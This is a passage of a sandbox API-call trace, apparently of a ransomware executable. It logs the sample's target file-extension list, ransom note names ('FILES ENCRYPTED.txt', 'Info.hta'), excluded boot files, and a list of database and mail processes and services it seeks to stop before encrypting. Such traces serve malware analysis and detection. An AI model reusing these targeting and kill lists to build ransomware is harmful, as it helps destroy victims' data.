.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776
	[0057.056] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x779728 | out: hHeap=0x720000) returned 1
	[0057.056] lstrlenW (lpString="") returned 0
	[0057.056] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x7ac5e0 | out: hHeap=0x720000) returned 1
	[0057.056] lstrlenW (lpString=".GTF") returned 4
	[0057.056] lstrlenW (lpString=".GTF") returned 4
	[0057.056] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x7ac5e0 | out: hHeap=0x720000) returned 1
	[0057.056] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7ac5e0, Size=0x20) returned 0x75eed0
	[0057.056] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x75eed0, Size=0x40) returned 0x73a420
	[0057.056] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x73a420, Size=0x80) returned 0x764408
	[0057.056] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7ad0f0, Size=0x8) returned 0x7ad0a0
	[0057.056] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7ad0a0, Size=0x10) returned 0x7ac5e0
	[0057.056] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7ac5e0, Size=0x20) returned 0x75edb8
	[0057.056] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48
	[0057.056] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x764408 | out: hHeap=0x720000) returned 1
	[0057.056] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7aca00, Size=0x20) returned 0x75ed18
	[0057.056] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x75ed18, Size=0x40) returned 0x73a4f8
	[0057.056] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19
	[0057.056] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19
	[0057.056] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x73a4f8 | out: hHeap=0x720000) returned 1
	[0057.056] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7acaf0, Size=0x20) returned 0x75ed18
	[0057.056] lstrlenW (lpString="Info.hta") returned 8
	[0057.056] lstrlenW (lpString="Info.hta") returned 8
	[0057.056] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x75ed18 | out: hHeap=0x720000) returned 1
	[0057.057] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x7adba0, nSize=0x7fff | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\fvppjh.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\fvppjh.exe")) returned 0x22
	[0057.057] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x7adba0 | out: hHeap=0x720000) returned 1
	[0057.058] lstrlenW (lpString="fvppjh.exe") returned 10
	[0057.058] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x75edb8, Size=0x40) returned 0x73a108
	[0057.058] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7ac9d0, Size=0x20) returned 0x75ed18
	[0057.058] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7ac910, Size=0x20) returned 0x75edb8
	[0057.058] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x75edb8, Size=0x40) returned 0x73a3d8
	[0057.058] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x73a3d8, Size=0x80) returned 0x7645a0
	[0057.058] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7645a0, Size=0x100) returned 0x765fd0
	[0057.058] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0057.058] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x765fd0 | out: hHeap=0x720000) returned 1
	[0057.058] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x7adba0, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc
	[0057.058] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x7bdba8 | out: hHeap=0x720000) returned 1
	[0057.059] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x7adba0 | out: hHeap=0x720000) returned 1
	[0057.059] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7ad010, Size=0x8) returned 0x7ad050
	[0057.059] lstrlenW (lpString="%windir%;") returned 9
	[0057.059] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x75ed18 | out: hHeap=0x720000) returned 1
	[0057.059] lstrlenW (lpString="C:\\WINDOWS;") returned 11
	[0057.059] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x79af78 | out: hHeap=0x720000) returned 1
	[0057.060] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7aca00, Size=0x20) returned 0x75ed18
	[0057.060] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x75ed18, Size=0x40) returned 0x73a390
	[0057.060] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x73a390, Size=0x80) returned 0x7646b0
	[0057.060] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7646b0, Size=0x100) returned 0x765fd0
	[0057.060] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7ad170, Size=0x8) returned 0x7acff0
	[0057.060] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7acff0, Size=0x10) returned 0x7acaa8
	[0057.060] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7acaa8, Size=0x20) returned 0x75ed18
	[0057.060] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7ad0a0, Size=0x8) returned 0x7ad1b0
	[0057.060] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7ad110, Size=0x8) returned 0x7ad030
	[0057.060] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7ad0c0, Size=0x8) returned 0x7ad140
	[0057.060] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7ad140, Size=0x10) returned 0x7aca48
	[0057.060] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7aca48, Size=0x20) returned 0x75ed40
	[0057.060] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7ad1b0, Size=0x10) returned 0x7acb08
	[0057.060] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7ad030, Size=0x10) returned 0x7acac0
	[0057.060] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7ad0b0, Size=0x8) returned 0x7ad100
	[0057.060] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7ad0e0, Size=0x8) returned 0x7ad070
	[0057.060] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7acb08, Size=0x20) returned 0x75edb8
	[0057.060] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7acac0, Size=0x20) returned 0x75e8b8
	[0057.060] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7ad170, Size=0x8) returned 0x7acfd0
	[0057.060] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91
	[0057.060] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x765fd0 | out: hHeap=0x720000) returned 1
	[0057.060] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7ac9b8, Size=0x20) returned 0x75e7c8
	[0057.061] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x79af78, nSize=0x7fff | out: lpDst="C:") returned 0x3
	[0057.061] lstrlenW (lpString="C:\\") returned 3
	[0057.061] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0057.061] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x79af78 | out: hHeap=0x720000) returned 1
	[0057.061] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7ad160, Size=0x82) returned 0x766060
	[0057.061] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7ad110, Size=0x100) returned 0x7660f0
	[0057.061] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x766060, Size=0x104) returned 0x766318
	[0057.061] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7660f0, Size=0x200) returned 0x779728
	[0057.062] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7661f8, Size=0x104) returned 0x766060
	[0057.062] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x764958, Size=0x100) returned 0x766170
	[0057.063] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x7ad010 | out: hHeap=0x720000) returned 1
	[0057.063] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x779728 | out: hHeap=0x720000) returned 1
	[0057.063] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x7ac910 | out: hHeap=0x720000) returned 1
	[0057.063] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x764848 | out: hHeap=0x720000) returned 1
	[0057.063] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x7acb68 | out: hHeap=0x720000) returned 1
	[0057.063] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x7645a0 | out: hHeap=0x720000) returned 1
	[0057.063] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x7ac8e0 | out: hHeap=0x720000) returned 1
	[0057.063] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x766318 | out: hHeap=0x720000) returned 1
	[0057.063] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x7ac970 | out: hHeap=0x720000) returned 1
	[0057.063] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x766060 | out: hHeap=0x720000) returned 1
	[0057.063] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x7ac928 | out: hHeap=0x720000) returned 1
	[0057.063] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x766288 | out: hHeap=0x720000) returned 1
	[0057.063] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x7ac940 | out: hHeap=0x720000) returned 1
	[0057.063] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7acb68, Size=0x20) returned 0x75e7f0
	[0057.063] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x75e7f0, Size=0x40) returned 0x73a150
	[0057.063] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x7ad0e0 | out: hHeap=0x720000) returned 1
	[0057.063] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x7acb98 | out: hHeap=0x720000) returned 1
	[0057.063] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x765fd0 | out: hHeap=0x720000) returned 1
	[0057.063] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x7ac9d0 | out: hHeap=0x720000) returned 1
	[0057.063] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x766170 | out: hHeap=0x720000) returned 1
	[0057.063] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x7acb20 | out: hHeap=0x720000) returned 1
	[0057.063] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x7ad140 | out: hHeap=0x720000) returned 1
	[0057.063] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x7acbb0 | out: hHeap=0x720000) returned 1
	[0057.063] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x736228 | out: hHeap=0x720000) returned 1
	[0057.063] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x7357f0 | out: hHeap=0x720000) returned 1
	[0057.063] lstrlenW (lpString="%systemdrive%") returned 13
	[0057.063] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x75e7c8 | out: hHeap=0x720000) returned 1
	[0057.063] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x7648d0 | out: hHeap=0x720000) returned 1
	[0057.063] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x7ad0f0 | out: hHeap=0x720000) returned 1
	[0057.063] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x78af58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x270
	[0057.064] WaitForMultipleObjects (nCount=0x2, lpHandles=0x73acd0*=0x260, bWaitAll=1, dwMilliseconds=0xffffffff) 

Thread:
	id = 2
	os_tid = 0x13c8


Thread:
	id = 4
	os_tid = 0x1164

	[0057.156] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x7acbb0
	[0057.156] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7acbb0, Size=0x20) returned 0x75eb88
	[0057.156] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x75eb88, Size=0x40) returned 0x73a2b8
	[0057.156] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x73a2b8, Size=0x80) returned 0x764b78
	[0057.156] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x764b78, Size=0x100) returned 0x7661e0
	[0057.156] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x7acbb0
	[0057.156] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7acbb0, Size=0x20) returned 0x75e9d0
	[0057.156] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x75e9d0, Size=0x40) returned 0x73a198
	[0057.156] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x73a198, Size=0x80) returned 0x764958
	[0057.156] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x764958, Size=0x100) returned 0x7662e8
	[0057.156] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xc) returned 0x7ac9b8
	[0057.156] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x4) returned 0x7ad120
	[0057.156] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x7ac8e0
	[0057.156] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7ad120, Size=0x8) returned 0x7ad0b0
	[0057.156] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x14) returned 0x735730
	[0057.156] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7ad0b0, Size=0x10) returned 0x7ac910
	[0057.156] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x18) returned 0x735810
	[0057.156] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x1a) returned 0x75e7f0
	[0057.156] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7ac910, Size=0x20) returned 0x75e9f8
	[0057.156] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x1c) returned 0x75e930
	[0057.156] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x16) returned 0x7355d0
	[0057.156] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x1a) returned 0x75e890
	[0057.156] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xc) returned 0x7acbb0
	[0057.156] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x4) returned 0x7ad140
	[0057.156] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x40) returned 0x73a3d8
	[0057.156] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7ad140, Size=0x8) returned 0x7ad010
	[0057.157] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x3c) returned 0x73a2b8
	[0057.157] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7ad010, Size=0x10) returned 0x7ac910
	[0057.157] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x14) returned 0x735770
	[0057.157] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x18) returned 0x7357b0
	[0057.157] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7ac910, Size=0x20) returned 0x75ebd8
	[0057.157] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x24) returned 0x736378
	[0057.157] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81
	[0057.157] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x7661e0 | out: hHeap=0x720000) returned 1
	[0057.157] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102
	[0057.157] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x7662e8 | out: hHeap=0x720000) returned 1
	[0057.157] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x75e908
	[0057.157] EnumServicesStatusExW (in: hSCManager=0x75e908, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0) returned 0
	[0057.158] GetLastError () returned 0xea
	[0057.158] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x1ce8) returned 0x77d420
	[0057.158] EnumServicesStatusExW (in: hSCManager=0x75e908, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x77d420, cbBufSize=0x1ce8, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x77d420, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0) returned 1
	[0057.159] CloseServiceHandle (hSCObject=0x75e908) returned 1
	[0057.159] lstrlenW (lpString="Appinfo") returned 7
	[0057.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0057.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0057.159] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0057.159] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0057.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0057.159] lstrlenW (lpString="AppXSvc") returned 7
	[0057.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0057.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0057.159] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0057.159] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0057.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0057.159] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0057.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0057.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0057.159] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0057.159] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0057.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0057.159] lstrlenW (lpString="Audiosrv") returned 8
	[0057.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0057.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0057.159] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0057.159] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0057.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0057.159] lstrlenW (lpString="BFE") returned 3
	[0057.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0057.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0057.160] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0057.160] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0057.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0057.160] lstrlenW (lpString="BITS") returned 4
	[0057.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0057.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0057.160] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0057.160] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0057.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0057.160] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0057.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0057.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0057.160] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0057.160] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0057.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0057.160] lstrlenW (lpString="CDPSvc") returned 6
	[0057.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0057.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0057.160] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0057.160] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0057.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0057.160] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0057.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0057.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0057.160] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0057.160] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0057.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0057.160] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0057.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0057.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0057.160] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0057.160] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0057.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0057.160] lstrlenW (lpString="CryptSvc") returned 8
	[0057.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0057.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0057.161] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0057.161] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0057.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0057.161] lstrlenW (lpString="DcomLaunch") returned 10
	[0057.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0057.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0057.161] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0057.161] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0057.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0057.161] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0057.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0057.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0057.161] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0058.324] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0058.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0058.325] lstrlenW (lpString="Dhcp") returned 4
	[0058.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0058.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0058.325] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0058.325] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0058.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0058.325] lstrlenW (lpString="Dnscache") returned 8
	[0058.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0058.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0058.325] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0058.325] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0058.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0058.325] lstrlenW (lpString="DoSvc") returned 5
	[0058.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0058.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0058.325] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0058.325] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0058.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0058.325] lstrlenW (lpString="DPS") returned 3
	[0058.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0058.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0058.325] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0058.325] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0058.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0058.325] lstrlenW (lpString="DusmSvc") returned 7
